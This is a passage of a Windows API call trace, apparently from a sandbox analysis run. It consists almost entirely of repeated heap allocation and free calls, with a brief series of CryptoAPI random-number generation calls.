Size=0x8) returned 0x510380 [0030.518] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.518] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.518] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.518] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.518] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.518] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.518] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.518] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.518] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.518] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.518] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.518] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.518] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.518] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.518] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.518] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.518] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.518] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.518] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.518] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.518] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.518] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.518] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.518] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.518] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.518] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.518] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.518] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.518] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.518] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.518] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.518] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.518] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.518] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.518] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.518] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.518] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.518] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.518] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.519] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511898 | out: hHeap=0x4f0000) returned 1 [0030.519] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511550 | out: hHeap=0x4f0000) returned 1 [0030.519] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5111f0 | out: hHeap=0x4f0000) returned 1 [0030.519] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511780 | out: hHeap=0x4f0000) returned 1 [0030.519] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4ff028 | out: hHeap=0x4f0000) returned 1 [0030.519] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514488 [0030.519] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x5143f8 [0030.519] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514368 [0030.519] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x5142d8 [0030.519] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514248 [0030.519] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x5141b8 [0030.519] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514128 [0030.519] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514098 [0030.519] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514008 [0030.519] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x513f78 [0030.519] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x513ee8 [0030.519] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x513e58 [0030.519] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x513dc8 [0030.519] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x513d38 [0030.519] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x513ca8 [0030.519] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x513c18 [0030.519] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x513b88 [0030.519] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514638 [0030.519] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x5146c8 [0030.519] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514758 [0030.519] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x5147e8 [0030.519] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514878 [0030.519] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514908 [0030.519] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514998 [0030.519] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514a28 [0030.519] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514ab8 [0030.519] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514b48 [0030.519] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514bd8 [0030.519] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514c68 [0030.519] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514cf8 [0030.519] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514d88 [0030.519] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514e18 [0030.522] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514488 | out: hHeap=0x4f0000) returned 1 [0030.522] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5143f8 | out: hHeap=0x4f0000) returned 1 [0030.522] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514368 | out: hHeap=0x4f0000) returned 1 [0030.522] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5142d8 | out: hHeap=0x4f0000) returned 1 [0030.522] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514248 | out: hHeap=0x4f0000) returned 1 [0030.522] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5141b8 | out: hHeap=0x4f0000) returned 1 [0030.522] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514128 | out: hHeap=0x4f0000) returned 1 [0030.522] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514098 | out: hHeap=0x4f0000) returned 1 [0030.522] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514008 | out: hHeap=0x4f0000) returned 1 [0030.522] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513f78 | out: hHeap=0x4f0000) returned 1 [0030.522] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513ee8 | out: hHeap=0x4f0000) returned 1 [0030.523] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513e58 | out: hHeap=0x4f0000) returned 1 [0030.523] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513dc8 | out: hHeap=0x4f0000) returned 1 [0030.523] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513d38 | out: hHeap=0x4f0000) returned 1 [0030.523] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513ca8 | out: hHeap=0x4f0000) returned 1 [0030.523] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513c18 | out: hHeap=0x4f0000) returned 1 [0030.523] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513b88 | out: hHeap=0x4f0000) returned 1 [0030.523] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514638 | out: hHeap=0x4f0000) returned 1 [0030.523] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5146c8 | out: hHeap=0x4f0000) returned 1 [0030.523] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514758 | out: hHeap=0x4f0000) returned 1 [0030.523] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5147e8 | out: hHeap=0x4f0000) returned 1 [0030.523] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514878 | out: hHeap=0x4f0000) returned 1 [0030.523] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514908 | out: hHeap=0x4f0000) returned 1 [0030.523] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514998 | out: hHeap=0x4f0000) returned 1 [0030.523] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514a28 | out: hHeap=0x4f0000) returned 1 [0030.523] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514ab8 | out: hHeap=0x4f0000) returned 1 [0030.523] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514b48 | out: hHeap=0x4f0000) returned 1 [0030.523] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514bd8 | out: hHeap=0x4f0000) returned 1 [0030.523] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514c68 | out: hHeap=0x4f0000) returned 1 [0030.523] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514cf8 | out: hHeap=0x4f0000) returned 1 [0030.523] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514d88 | out: hHeap=0x4f0000) returned 1 [0030.523] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514e18 | out: hHeap=0x4f0000) returned 1 [0030.523] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514518 | out: hHeap=0x4f0000) returned 1 [0030.523] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0030.523] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511058 | out: hHeap=0x4f0000) returned 1 [0030.523] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5110e0 | out: hHeap=0x4f0000) returned 1 [0030.523] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5145a8 | out: hHeap=0x4f0000) returned 1 [0030.523] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0030.523] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.524] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.524] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.524] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.525] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.525] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.525] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.525] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.525] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.525] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.526] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.526] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.526] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x511058 [0030.526] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5110e0 [0030.526] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x511168 [0030.526] CryptAcquireContextW (in: phProv=0x44d70c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d70c*=0x5111f0) returned 1 [0030.527] CryptGenRandom (in: hProv=0x5111f0, dwLen=0x80, pbBuffer=0x44d720 | out: pbBuffer=0x44d720) returned 1 [0030.527] CryptReleaseContext (hProv=0x5111f0, dwFlags=0x0) returned 1 [0030.527] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x5145a8 [0030.527] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511168 | out: hHeap=0x4f0000) returned 1 [0030.527] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514518 [0030.527] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x108) returned 0x511668 [0030.527] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x4) returned 0x510380 [0030.527] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0030.527] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.527] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511780 [0030.527] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x511168 [0030.527] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x10c) returned 0x5111f0 [0030.527] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.527] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x4ff028 [0030.527] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514e18 [0030.527] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511168 | out: hHeap=0x4f0000) returned 1 [0030.527] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511550 [0030.527] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514e18 | out: hHeap=0x4f0000) returned 1 [0030.527] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510218 [0030.527] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x4ff040 [0030.527] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.527] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510218 | out: hHeap=0x4f0000) returned 1 [0030.527] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x88) returned 0x514e18 [0030.527] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4ff040 | out: hHeap=0x4f0000) returned 1 [0030.527] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511898 [0030.527] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514e18 | out: hHeap=0x4f0000) returned 1 [0030.528] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.528] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.528] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.528] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.528] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.528] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.528] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.528] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.528] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.528] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.528] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.528] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.528] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.528] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.528] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.528] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.528] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.528] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.528] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.528] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.528] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.528] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.528] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.528] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.528] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.528] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.528] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.528] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.528] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.528] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.528] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.528] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.528] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.528] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.528] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.528] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.528] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.528] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.528] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.528] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.528] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.528] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.529] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.529] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.529] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.529] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.529] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.529] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.529] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.529] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.529] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.529] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.529] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.529] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.529] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.529] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.529] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.529] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.529] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.529] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.529] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.529] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.529] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.529] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.529] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.529] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.529] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.529] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.529] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.529] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.529] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.529] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.529] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.529] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.529] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.529] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.529] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.529] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.529] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.529] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.529] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.529] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.529] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.529] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.530] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.530] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.530] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.530] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.530] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.530] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, 